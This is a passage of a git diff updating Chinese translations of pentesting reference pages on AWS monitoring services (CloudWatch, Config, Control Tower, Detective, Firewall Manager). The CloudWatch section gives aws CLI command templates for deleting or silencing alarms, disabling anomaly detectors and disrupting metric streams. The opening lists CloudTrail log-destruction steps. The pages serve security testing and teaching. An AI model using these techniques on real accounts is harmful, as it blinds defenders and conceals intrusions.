存储桶 +- 更改存储桶策略以拒绝来自 CloudTrail 服务的任何写入 +- 向 S3 存储桶添加生命周期策略以删除对象 - 禁用用于加密 CloudTrail 日志的 kms 密钥 ### Cloudtrail 勒索软件 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 0ec23154f..134dd37e6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -15,7 +15,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\ - IAM 和 S3 中安全策略的更改 - 对 AWS 管理控制台的登录失败尝试 - 导致授权失败的 API 调用 -- 在 CloudWatch 中搜索的过滤器: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) +- 在 cloudwatch 中搜索的过滤器: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) ## 关键概念 @@ -37,9 +37,9 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\ - **示例**:对于 EC2 实例,维度可能包括 InstanceId、InstanceType 和 AvailabilityZone。 -### 统计信息 +### 统计 -统计信息是对指标数据进行的数学计算,以便随时间对其进行汇总。常见的统计信息包括平均值、总和、最小值、最大值和样本计数。 +统计是对指标数据进行的数学计算,以总结其随时间的变化。常见的统计包括平均值、总和、最小值、最大值和样本计数。 - **示例**:计算一小时内的平均 CPU 利用率。 @@ -83,7 +83,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\ - **阈值**:触发警报的值。 - **评估周期**:评估数据的周期数。 -- **触发警报的数据点**:触发警报所需达到阈值的周期数。 +- **触发警报的数据点**:触发警报所需的达到阈值的周期数。 - **操作**:当警报状态被触发时发生的事情(例如,通过 SNS 通知)。 **示例用例**: @@ -92,7 +92,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\ ### 异常检测器 -**异常检测器** 使用机器学习自动检测您的指标中的异常。您可以将异常检测应用于任何 CloudWatch 指标,以识别可能表明问题的正常模式的偏差。 +**异常检测器** 使用机器学习自动检测您的指标中的异常。您可以将异常检测应用于任何 CloudWatch 指标,以识别可能指示问题的正常模式的偏差。 **关键组件**: @@ -120,21 +120,21 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\ **元素**: | **日志组** | 一组 **共享相同保留、监控和访问控制设置的日志流** | -| ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **日志流** | 一系列 **共享相同来源的日志事件** | -| **订阅过滤器** | 定义一个 **匹配特定日志组中事件的过滤模式**,将其发送到 Kinesis Data Firehose 流、Kinesis 流或 Lambda 函数 | +| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **日志流** | 一系列 **共享相同来源的日志事件** | +| **订阅过滤器** | 定义一个 **匹配特定日志组中事件的过滤模式**,将其发送到 Kinesis Data Firehose 流、Kinesis 流或 Lambda 函数 | ### CloudWatch 监控与事件 -CloudWatch **基本** 每 **5 分钟** 聚合数据(**详细** 每 **1 分钟** 聚合)。在聚合后,它 **检查警报的阈值**,以防需要触发一个。\ -在这种情况下,CloudWatch 可以准备发送事件并执行一些自动操作(AWS Lambda 函数、SNS 主题、SQS 队列、Kinesis 流)。 +CloudWatch **基本** 每 **5 分钟** 聚合数据(**详细** 每 **1 分钟** 聚合一次)。在聚合后,它 **检查警报的阈值**,以确定是否需要触发一个。\ +在这种情况下,CloudWatch 可以准备发送事件并执行一些自动操作(AWS lambda 函数、SNS 主题、SQS 队列、Kinesis 流)。 ### 代理安装 您可以在机器/容器内部安装代理,以自动将日志发送回 CloudWatch。 -- **创建** 一个 **角色** 并 **附加** 到具有允许 CloudWatch 从实例收集数据的权限的 **实例**,此外还与 AWS 系统管理 SSM 交互(CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **下载** 并 **安装** **代理** 到 EC2 实例上 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip))。您可以从 EC2 内部下载,或使用 AWS 系统管理自动安装,选择包 AWS-ConfigureAWSPackage +- **创建** 一个 **角色** 并 **附加** 到具有允许 CloudWatch 从实例收集数据的权限的 **实例**,并与 AWS 系统管理器 SSM 交互(CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +- **下载** 并 **安装** **代理** 到 EC2 实例上 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip))。您可以从 EC2 内部下载,或使用 AWS 系统管理器自动安装,选择包 AWS-ConfigureAWSPackage - **配置** 并 **启动** CloudWatch Agent 一个日志组有多个流。一个流有多个事件。在每个流内,事件保证是有序的。 @@ -212,11 +212,11 @@ aws events describe-event-source --name aws events list-replays aws events list-api-destinations aws events list-event-buses ``` -## Post-Exploitation / Bypass +## 后期利用 / 绕过 ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -拥有这些权限的攻击者可能会严重削弱组织的监控和警报基础设施。通过删除现有警报,攻击者可以禁用通知管理员关键性能问题、安全漏洞或操作故障的重要警报。此外,通过创建或修改指标警报,攻击者还可以用虚假警报误导管理员或使合法警报失效,从而有效掩盖恶意活动并阻止对实际事件的及时响应。 +拥有这些权限的攻击者可能会严重削弱组织的监控和警报基础设施。通过删除现有警报,攻击者可以禁用通知管理员关键性能问题、安全漏洞或操作故障的重要警报。此外,通过创建或修改指标警报,攻击者还可以用虚假警报误导管理员或使合法警报失效,有效掩盖恶意活动并阻止对实际事件的及时响应。 此外,拥有 **`cloudwatch:PutCompositeAlarm`** 权限的攻击者将能够创建一个复合警报的循环或周期,其中复合警报 A 依赖于复合警报 B,而复合警报 B 也依赖于复合警报 A。在这种情况下,无法删除任何属于该循环的复合警报,因为总是还有一个依赖于您想要删除的警报的复合警报。 ```bash @@ -224,9 +224,9 @@ aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` -以下示例显示了如何使指标警报失效: +以下示例展示了如何使指标警报失效: -- 此指标警报监控特定 EC2 实例的平均 CPU 利用率,每 300 秒评估一次指标,并需要 6 个评估周期(总共 30 分钟)。如果平均 CPU 利用率在这 6 个周期中至少有 4 个周期超过 60%,则警报将触发并向指定的 SNS 主题发送通知。 +- 此指标警报监控特定 EC2 实例的平均 CPU 利用率,每 300 秒评估一次指标,并需要 6 个评估周期(总共 30 分钟)。如果平均 CPU 利用率在这 6 个周期中至少有 4 个超过 60%,则警报将触发并向指定的 SNS 主题发送通知。 - 通过将阈值修改为超过 99%,将周期设置为 10 秒,将评估周期设置为 8640(因为 8640 个 10 秒的周期等于 1 天),并将报警的数据点设置为 8640,CPU 利用率必须在整个 24 小时内每 10 秒超过 99% 才能触发警报。 {{#tabs }} @@ -279,13 +279,13 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- {{#endtab }} {{#endtabs }} -**潜在影响**:缺乏对关键事件的通知,可能存在未被发现的问题,虚假警报,抑制真实警报,可能错过对真实事件的检测。 +**潜在影响**:缺乏对关键事件的通知,可能存在未被检测的问题,虚假警报,抑制真实警报,并可能错过对真实事件的检测。 ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** 通过删除警报操作,攻击者可以防止在达到警报状态时触发关键警报和自动响应,例如通知管理员或触发自动扩展活动。不当启用或重新启用警报操作也可能导致意外行为,可能通过重新激活先前禁用的操作或修改触发的操作,导致事件响应中的混淆和误导。 -此外,拥有权限的攻击者可以操纵警报状态,能够创建虚假警报以分散和混淆管理员,或使真实警报静音以掩盖正在进行的恶意活动或关键系统故障。 +此外,拥有权限的攻击者可以操纵警报状态,能够创建虚假警报以分散和混淆管理员,或静音真实警报以掩盖正在进行的恶意活动或关键系统故障。 - 如果您在复合警报上使用 **`SetAlarmState`**,则复合警报不保证返回其实际状态。只有在其子警报状态发生变化时,它才会返回其实际状态。如果您更新其配置,它也会被重新评估。 ```bash @@ -293,16 +293,16 @@ aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` -**潜在影响**:缺乏对关键事件的通知,可能未被检测到的问题,虚假警报,抑制真实警报,可能错过对真实事件的检测。 +**潜在影响**:缺乏对关键事件的通知,可能未被检测到的问题,错误警报,抑制真实警报,可能错过对真实事件的检测。 ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** -攻击者将能够破坏检测和响应指标数据中异常模式或异常的能力。通过删除现有的异常检测器,攻击者可以禁用关键的警报机制;通过创建或修改它们,攻击者将能够错误配置或制造虚假警报,以分散或压倒监控。 +攻击者将能够破坏检测和响应指标数据中异常模式或异常的能力。通过删除现有的异常检测器,攻击者可以禁用关键的警报机制;通过创建或修改它们,攻击者能够错误配置或制造误报,以分散或压倒监控。 ```bash aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` -以下示例展示了如何使指标异常检测器失效。该指标异常检测器监控特定 EC2 实例的平均 CPU 利用率,只需添加“ExcludedTimeRanges”参数和所需的时间范围,就足以确保异常检测器在该期间内不分析或警报任何相关数据。 +以下示例展示了如何使指标异常检测器失效。该指标异常检测器监控特定 EC2 实例的平均 CPU 利用率,仅需添加“ExcludedTimeRanges”参数和所需的时间范围,就足以确保异常检测器在该期间内不分析或警报任何相关数据。 {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} @@ -364,7 +364,7 @@ aws cloudwatch put-dashboard --dashboard-name --dashboard-body ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** -Insight 规则用于检测异常、优化性能和有效管理资源。通过删除现有的 insight 规则,攻击者可以移除关键的监控能力,使系统对性能问题和安全威胁失去感知。此外,攻击者可以创建或修改 insight 规则,以生成误导性数据或隐藏恶意活动,从而导致错误的诊断和运营团队的不当响应。 +Insight 规则用于检测异常、优化性能和有效管理资源。通过删除现有的 insight 规则,攻击者可能会移除关键的监控能力,使系统对性能问题和安全威胁失去感知。此外,攻击者还可以创建或修改 insight 规则,以生成误导性数据或掩盖恶意活动,从而导致错误的诊断和运营团队的不当响应。 ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] @@ -374,19 +374,19 @@ aws cloudwatch put-managed-insight-rules --managed-rules ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -通过禁用关键的洞察规则,攻击者可以有效地使组织对关键性能和安全指标失去警觉。相反,通过启用或配置误导性规则,可能会生成虚假数据,制造噪音,或掩盖恶意活动。 +通过禁用关键的洞察规则,攻击者可以有效地使组织对关键性能和安全指标失去警觉。相反,通过启用或配置误导性的规则,可能会生成虚假数据,制造噪音,或掩盖恶意活动。 ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names ``` -**潜在影响**:操作团队之间的混淆,导致对实际问题的响应延迟以及基于错误警报的不必要行动。 +**潜在影响**:操作团队之间的混淆,导致对实际问题的响应延迟,以及基于错误警报的不必要行动。 ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -拥有 **`cloudwatch:DeleteMetricStream`** 和 **`cloudwatch:PutMetricStream`** 权限的攻击者将能够创建和删除指标数据流,从而危及安全性、监控和数据完整性: +拥有 **`cloudwatch:DeleteMetricStream`** 和 **`cloudwatch:PutMetricStream`** 权限的攻击者将能够创建和删除指标数据流,从而危害安全性、监控和数据完整性: - **创建恶意流**:创建指标流以将敏感数据发送到未经授权的目的地。 -- **资源操控**:创建过多数据的新指标流可能会产生大量噪音,导致错误警报,掩盖真实问题。 +- **资源操控**:创建具有过多数据的新指标流可能会产生大量噪音,导致错误警报,掩盖真实问题。 - **监控中断**:删除指标流,攻击者将中断监控数据的持续流动。这样,他们的恶意活动将有效隐藏。 同样,拥有 **`cloudwatch:PutMetricData`** 权限,可以向指标流添加数据。这可能导致由于添加了大量不当数据而造成的拒绝服务,使其完全无用。 @@ -412,12 +412,12 @@ aws cloudwatch start-metric-streams --names ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -攻击者将能够添加、修改或删除CloudWatch资源的标签(目前仅限于警报和贡献者洞察规则)。这可能会破坏您组织基于标签的访问控制策略。 +攻击者将能够添加、修改或删除CloudWatch资源的标签(目前仅限于警报和Contributor Insights规则)。这可能会干扰您组织基于标签的访问控制策略。 ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` -**潜在影响**:中断基于标签的访问控制策略。 +**潜在影响**:干扰基于标签的访问控制策略。 ## 参考文献 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index e6b59397c..a5f17189e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,37 +4,37 @@ ## AWS Config -AWS Config **捕获资源变化**,因此任何由 Config 支持的资源的变化都可以被记录,这将 **记录变化的内容以及其他有用的元数据,所有这些都保存在一个称为配置项的文件中**,即 CI。该服务是 **区域特定的**。 +AWS Config **捕获资源变化**,因此对 Config 支持的任何资源的更改都可以被记录,这将 **记录发生了什么变化以及其他有用的元数据,所有这些都保存在一个称为配置项的文件中**,即 CI。该服务是 **区域特定的**。 -配置项或 **CI**,是 AWS Config 的一个关键组成部分。它由一个 JSON 文件组成,**包含配置信息、关系信息和其他元数据,作为受支持资源的时间点快照视图**。AWS Config 可以为资源记录的所有信息都包含在 CI 中。每当受支持的资源的配置以任何方式发生变化时,都会创建一个 CI。除了记录受影响资源的详细信息外,AWS Config 还会记录任何直接相关资源的 CI,以确保变化没有影响到这些资源。 +配置项或 **CI**,是 AWS Config 的一个关键组件。它由一个 JSON 文件组成,**包含配置信息、关系信息和其他元数据,作为对支持资源的时间点快照视图**。AWS Config 可以为资源记录的所有信息都包含在 CI 中。每当支持的资源的配置以任何方式发生更改时,都会创建一个 CI。除了记录受影响资源的详细信息外,AWS Config 还会记录任何直接相关资源的 CI,以确保更改没有影响到这些资源。 - **元数据**:包含有关配置项本身的详细信息。版本 ID 和配置 ID,唯一标识 CI。其他信息可以包括一个 MD5Hash,允许您将已记录的其他 CI 与同一资源进行比较。 -- **属性**:这包含与实际资源相关的常见 **属性信息**。在此部分中,我们还具有唯一的资源 ID,以及与资源相关的任何关键值标签。资源类型也会列出。例如,如果这是一个 EC2 实例的 CI,列出的资源类型可能是网络接口或该 EC2 实例的弹性 IP 地址。 +- **属性**:这包含与实际资源相关的常见 **属性信息**。在此部分中,我们还具有唯一资源 ID,以及与资源相关的任何键值标签。资源类型也会列出。例如,如果这是一个 EC2 实例的 CI,列出的资源类型可能是网络接口或该 EC2 实例的弹性 IP 地址。 - **关系**:这包含资源可能具有的任何连接 **关系的信息**。因此,在此部分中,它将清楚地描述该资源与其他资源之间的任何关系。例如,如果 CI 是针对 EC2 实例的,关系部分可能会显示与 VPC 的连接以及 EC2 实例所在的子网。 - **当前配置**:这将显示如果您执行 AWS CLI 的描述或列出 API 调用时生成的相同信息。AWS Config 使用相同的 API 调用来获取相同的信息。 -- **相关事件**:这与 AWS CloudTrail 相关。这将显示 **与触发此 CI 创建的变化相关的 AWS CloudTrail 事件 ID**。每次对资源进行更改时,都会创建一个新的 CI。因此,将创建不同的 CloudTrail 事件 ID。 +- **相关事件**:这与 AWS CloudTrail 相关。这将显示 **与触发此 CI 创建的更改相关的 AWS CloudTrail 事件 ID**。每次对资源进行更改时,都会创建一个新的 CI。因此,将创建不同的 CloudTrail 事件 ID。 **配置历史**:得益于配置项,可以获取资源的配置历史。配置历史每 6 小时交付一次,包含特定资源类型的所有 CI。 **配置流**:配置项被发送到 SNS 主题,以便对数据进行分析。 -**配置快照**:配置项用于创建所有受支持资源的时间点快照。 +**配置快照**:配置项用于创建所有支持资源的时间点快照。 -**S3 用于存储** 配置历史文件和您数据的任何配置快照,所有这些都在一个单一的存储桶中,该存储桶在配置记录器中定义。如果您有多个 AWS 账户,您可能希望将配置历史文件聚合到主账户的同一个 S3 存储桶中。但是,您需要为此服务原则 config.amazonaws.com 授予写入访问权限,并为您的次要账户授予对主账户 S3 存储桶的写入访问权限。 +**S3 用于存储** 配置历史文件和您数据的任何配置快照,所有这些都存储在一个单一的存储桶中,该存储桶在配置记录器中定义。如果您有多个 AWS 账户,您可能希望将配置历史文件聚合到主账户的同一个 S3 存储桶中。但是,您需要为此服务原则 config.amazonaws.com 授予写入访问权限,并为您的次要账户授予对主账户 S3 存储桶的写入访问权限。 ### 功能 - 当进行更改时,例如对安全组或存储桶访问控制列表进行更改 —> 触发 AWS Config 捕获的事件 - 将所有内容存储在 S3 存储桶中 -- 根据设置,一旦发生变化,可能会触发一个 lambda 函数,或定期调度 lambda 函数查看 AWS Config 设置 +- 根据设置,一旦发生更改,可能会触发一个 lambda 函数,或者定期调度 lambda 函数查看 AWS Config 设置 - Lambda 将反馈给 Config -- 如果规则被违反,Config 会触发 SNS +- 如果规则被违反,Config 将触发 SNS ![](<../../../../images/image (126).png>) ### Config 规则 -Config 规则是帮助您 **在资源之间强制特定合规检查** **和控制的好方法**,并允许您为每种资源类型采用理想的部署规范。每个规则 **本质上是一个 lambda 函数**,在调用时评估资源并执行一些简单逻辑以确定与规则的合规结果。**每次对您的受支持资源进行更改时,AWS Config 将检查与您已设置的任何配置规则的合规性**。\ +Config 规则是帮助您 **在资源之间强制特定合规检查** **和控制的好方法**,并允许您为每种资源类型采用理想的部署规范。每个规则 **本质上是一个 lambda 函数**,在调用时评估资源并执行一些简单逻辑以确定与规则的合规结果。**每次对支持资源进行更改时,AWS Config 将检查与您已设置的任何配置规则的合规性**。\ AWS 有许多 **预定义规则**,属于安全范围,随时可用。例如,Rds-storage-encrypted。此规则检查您的 RDS 数据库实例是否启用了存储加密。Encrypted-volumes。此规则检查是否有任何附加状态的 EBS 卷被加密。 - **AWS 管理规则**:一组预定义规则,涵盖许多最佳实践,因此在设置自己的规则之前,浏览这些规则总是值得的,因为规则可能已经存在。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 0cdeb76b4..2fa8c3d79 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -5,7 +5,7 @@ ## Control Tower > [!NOTE] -> 总之,Control Tower 是一个允许您为组织内所有账户定义策略的服务。因此,您可以从 Control Tower 设置策略,而不是管理每一个账户,这些策略将应用于它们。 +> 总之,Control Tower 是一个允许您为组织内所有账户定义策略的服务。因此,您可以从 Control Tower 设置策略,而不是管理每个账户,这些策略将应用于它们。 AWS Control Tower 是 **由亚马逊网络服务(AWS)提供的服务**,使组织能够在 AWS 中设置和管理一个安全、合规的多账户环境。 @@ -29,7 +29,7 @@ AWS Control Tower 提供了一套 **预定义的最佳实践蓝图**,可以根 aws controltower list-enabled-controls --target-identifier arn:aws:organizations:::ou/ ``` > [!WARNING] -> Control Tower 还可以使用 **Account factory** 在 **账户中执行** **CloudFormation 模板** 并在这些账户中运行服务(提权,后期利用...) +> Control Tower 还可以使用 **Account factory** 在 **账户中执行** **CloudFormation 模板** 并在这些账户中运行服务(权限提升,后期利用...) ### 后期利用与持久性 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 31085b813..3c521a828 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## 成本探测器和异常检测 +## Cost Explorer 和异常检测 这使您能够检查 **您在 AWS 服务上的支出情况** 并帮助您 **检测异常**。\ 此外,您可以配置异常检测,以便 AWS 在发现 **成本异常** 时警告您。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 2d6783027..092aeeb0f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**亚马逊侦探** 简化了安全调查过程,使 **分析、调查和确定** 安全问题或异常活动的根本原因变得更加高效。它自动收集来自 AWS 资源的日志数据,并利用 **机器学习、统计分析和图论** 构建一个互联的数据集。这种设置大大提高了安全调查的速度和有效性。 +**Amazon Detective** 简化了安全调查过程,使其更高效地 **分析、调查和确定** 安全问题或异常活动的根本原因。它自动收集来自 AWS 资源的日志数据,并利用 **机器学习、统计分析和图论** 构建一个互联的数据集。此设置大大提高了安全调查的速度和有效性。 -该服务简化了对安全事件的深入探索,使安全团队能够迅速理解和解决问题的根本原因。亚马逊侦探分析来自 VPC 流日志、AWS CloudTrail 和亚马逊 GuardDuty 等来源的大量数据。它自动生成 **资源、用户及其随时间的交互的全面互动视图**。这种集成视角提供了所有必要的细节和上下文,使团队能够辨别安全发现背后的原因,检查相关的历史活动,并快速确定根本原因。 +该服务简化了对安全事件的深入探索,使安全团队能够迅速理解和解决问题的根本原因。Amazon Detective 分析来自 VPC Flow Logs、AWS CloudTrail 和 Amazon GuardDuty 等来源的大量数据。它自动生成 **资源、用户及其随时间的交互的全面、互动视图**。这种集成视角提供了所有必要的细节和上下文,使团队能够辨别安全发现背后的原因,检查相关的历史活动,并快速确定根本原因。 ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index c51922cac..61828f7d7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -13,44 +13,44 @@ AWS Firewall Manager 提供 **托管的应用程序和协议列表**,以简化安全组策略的配置和管理。这些列表允许您定义政策允许或拒绝的协议和应用程序。托管列表有两种类型: - **Firewall Manager 托管列表**:这些列表包括 **FMS-Default-Public-Access-Apps-Allowed**、**FMS-Default-Protocols-Allowed** 和 **FMS-Default-Protocols-Allowed**。它们由 Firewall Manager 管理,包含应允许或拒绝公众访问的常用应用程序和协议。无法编辑或删除它们,但您可以选择其版本。 -- **自定义托管列表**:您自己管理这些列表。您可以创建符合您组织需求的自定义应用程序和协议列表。与 Firewall Manager 托管列表不同,这些列表没有版本,但您对自定义列表拥有完全控制权,可以根据需要创建、编辑和删除它们。 +- **自定义托管列表**:您自己管理这些列表。您可以创建符合组织需求的自定义应用程序和协议列表。与 Firewall Manager 托管列表不同,这些列表没有版本,但您可以完全控制自定义列表,允许您根据需要创建、编辑和删除它们。 重要的是要注意,**Firewall Manager 策略仅允许“阻止”或“计数”操作**,没有“允许”选项。 ### Prerequisites -在配置 Firewall Manager 以有效保护您组织的资源之前,必须完成以下先决步骤。这些步骤提供了 Firewall Manager 强制执行安全政策和确保合规性所需的基础设置: +在继续配置 Firewall Manager 以有效保护您组织的资源之前,必须完成以下先决步骤。这些步骤提供了 Firewall Manager 强制执行安全策略和确保合规性所需的基础设置: -1. **加入并配置 AWS Organizations**:确保您的 AWS 账户是计划实施 AWS Firewall Manager 策略的 AWS Organizations 组织的一部分。这允许在组织内多个 AWS 账户之间集中管理资源和政策。 +1. **加入并配置 AWS Organizations**:确保您的 AWS 账户是计划实施 AWS Firewall Manager 策略的 AWS Organizations 组织的一部分。这允许在组织内多个 AWS 账户之间集中管理资源和策略。 2. **创建 AWS Firewall Manager 默认管理员账户**:建立一个专门用于管理 Firewall Manager 安全策略的默认管理员账户。该账户将负责在组织内配置和强制执行安全策略。只有组织的管理账户能够创建 Firewall Manager 默认管理员账户。 3. **启用 AWS Config**:激活 AWS Config,以为 Firewall Manager 提供有效强制执行安全策略所需的配置数据和洞察。AWS Config 有助于分析、审计、监控和审计资源配置和更改,促进更好的安全管理。 -4. **对于第三方政策,在 AWS Marketplace 订阅并配置第三方设置**:如果您计划使用第三方防火墙政策,请在 AWS Marketplace 中订阅它们并配置必要的设置。此步骤确保 Firewall Manager 可以集成并强制执行来自受信任第三方供应商的政策。 -5. **对于网络防火墙和 DNS 防火墙政策,启用资源共享**:专门为网络防火墙和 DNS 防火墙政策启用资源共享。这允许 Firewall Manager 将防火墙保护应用于您组织的 VPC 和 DNS 解析,增强网络安全。 +4. **对于第三方策略,在 AWS Marketplace 订阅并配置第三方设置**:如果您计划使用第三方防火墙策略,请在 AWS Marketplace 中订阅它们并配置必要的设置。此步骤确保 Firewall Manager 可以集成并强制执行来自受信任第三方供应商的策略。 +5. **对于网络防火墙和 DNS 防火墙策略,启用资源共享**:专门为网络防火墙和 DNS 防火墙策略启用资源共享。这允许 Firewall Manager 将防火墙保护应用于您组织的 VPC 和 DNS 解析,增强网络安全。 6. **在默认禁用的区域使用 AWS Firewall Manager**:如果您打算在默认禁用的 AWS 区域使用 Firewall Manager,请确保采取必要步骤以启用其在这些区域的功能。这确保在您组织运营的所有区域内一致的安全强制执行。 -有关更多信息,请查看:[开始使用 AWS Firewall Manager AWS WAF 策略](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html)。 +有关更多信息,请查看:[Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html)。 ### Types of protection policies -AWS Firewall Manager 管理几种类型的政策,以在您组织基础设施的不同方面强制执行安全控制: +AWS Firewall Manager 管理几种类型的策略,以在您组织基础设施的不同方面强制执行安全控制: -1. **AWS WAF 策略**:此策略类型支持 AWS WAF 和 AWS WAF Classic。您可以定义哪些资源受到该策略的保护。对于 AWS WAF 策略,您可以指定要首先和最后运行的规则组集合。此外,账户所有者可以添加在这些集合之间运行的规则和规则组。 -2. **Shield Advanced 策略**:此策略在您的组织中对指定资源类型应用 Shield Advanced 保护。它有助于防范 DDoS 攻击和其他威胁。 +1. **AWS WAF 策略**:此策略类型支持 AWS WAF 和 AWS WAF Classic。您可以定义哪些资源受到该策略的保护。对于 AWS WAF 策略,您可以指定要首先和最后在 Web ACL 中运行的规则组集。此外,账户所有者可以添加在这些集合之间运行的规则和规则组。 +2. **Shield Advanced 策略**:此策略在组织内对指定资源类型应用 Shield Advanced 保护。它有助于防范 DDoS 攻击和其他威胁。 3. **Amazon VPC 安全组策略**:通过此策略,您可以管理在整个组织中使用的安全组,在您的 AWS 环境中强制执行一组基线规则以控制网络访问。 4. **Amazon VPC 网络访问控制列表 (ACL) 策略**:此策略类型使您能够控制在组织中使用的网络 ACL,允许您在 AWS 环境中强制执行一组基线网络 ACL。 5. **网络防火墙策略**:此策略将 AWS 网络防火墙保护应用于您组织的 VPC,增强网络安全,通过预定义规则过滤流量。 6. **Amazon Route 53 解析器 DNS 防火墙策略**:此策略将 DNS 防火墙保护应用于您组织的 VPC,帮助阻止恶意域名解析尝试并强制执行 DNS 流量的安全策略。 7. **第三方防火墙策略**:此策略类型应用来自第三方防火墙的保护,这些防火墙通过 AWS Marketplace 控制台提供订阅。它允许您将来自受信任供应商的额外安全措施集成到您的 AWS 环境中。 1. **Palo Alto Networks Cloud NGFW 策略**:此策略将 Palo Alto Networks Cloud 下一代防火墙 (NGFW) 保护和规则堆栈应用于您组织的 VPC,提供高级威胁防护和应用级安全控制。 -2. **Fortigate Cloud Native Firewall (CNF) 作为服务策略**:此策略应用 Fortigate Cloud Native Firewall (CNF) 作为服务的保护,提供行业领先的威胁防护、Web 应用防火墙 (WAF) 和针对云基础设施的 API 保护。 +2. **Fortigate Cloud Native Firewall (CNF) as a Service 策略**:此策略应用 Fortigate Cloud Native Firewall (CNF) as a Service 保护,提供行业领先的威胁防护、Web 应用防火墙 (WAF) 和针对云基础设施的 API 保护。 ### Administrator accounts -AWS Firewall Manager 通过其管理范围和两种类型的管理员账户提供灵活性,以管理您组织内的防火墙资源。 +AWS Firewall Manager 